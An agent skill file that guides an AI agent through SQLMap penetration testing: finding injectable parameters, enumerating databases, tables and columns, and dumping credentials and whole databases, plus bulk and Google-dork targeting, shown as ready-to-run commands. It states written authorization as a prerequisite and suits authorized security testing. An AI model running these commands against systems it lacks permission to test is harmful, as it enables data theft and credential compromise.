/sqlmap-database-pentesting

name: sqlmap-database-pentesting
description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
metadata:
  author: zebbern
  version: "1.1"

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

• **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
• **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
• **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
• **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
• **Authorization**: Written permission for penetration testing activities

Outputs / Deliverables

• **Database Enumeration**: List of all databases on the target server
• **Table Structure**: Complete table names within target database
• **Column Mapping**: Column names and data types for each table
• **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
• **Hash Values**: Password hashes for offline cracking
• **Vulnerability Report**: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

**Key Options:**

• `-u`: Target URL with injectable parameter
• `--dbs`: Enumerate database names
• `--batch`: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

**Key Options:**

• `-D`: Specify target database name
• `--tables`: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

**Key Options:**

• `-T`: Specify target table name
• `--columns`: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

**Key Options:**

• `--dump`: Extract all data from specified table
• `--dump-all`: Extract all data from all tables
• `-C`: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

| Stage | Command | |-------|---------| | List Databases | `sqlmap -u "URL" --dbs --batch` | | List Tables | `sqlmap -u "URL" -D dbname --tables --batch` | | List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` | | Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` | | Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |

Supported Database Management Systems

| DBMS | Support Level | |------|---------------| | MySQL | Full Support | | PostgreSQL | Full Support | | Microsoft SQL Server | Full Support | | Oracle | Full Support | | Microsoft Access | Full Support | | IBM DB2 | Full Support | | SQLite | Full Support | | Firebird | Full Support | | Sybase | Full Support | | SAP MaxDB | Full Support | | HSQLDB | Full Support | | Informix | Full Support |

SQL Injection Techniques

| Technique | Description | Flag | |-----------|-------------|------| | Boolean-based blind | Infers data from true/false responses | `--technique=B` | | Time-based blind | Uses time delays to infer data | `--technique=T` | | Error-based | Extracts data from error messages | `--technique=E` | | UNION query-based | Uses UNION to append results | `--technique=U` | | Stacked queries | Executes multiple statements | `--technique=S` | | Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |

Essential Options

| Option | Description | |--------|-------------| | `-u` | Target URL | | `-r` | Load HTTP request from file | | `-l` | Parse targets from Burp/WebScarab log | | `-m` | Bulk file with multiple targets | | `-g` | Google dork (use responsibly) | | `--dbs` | Enumerate databases | | `--table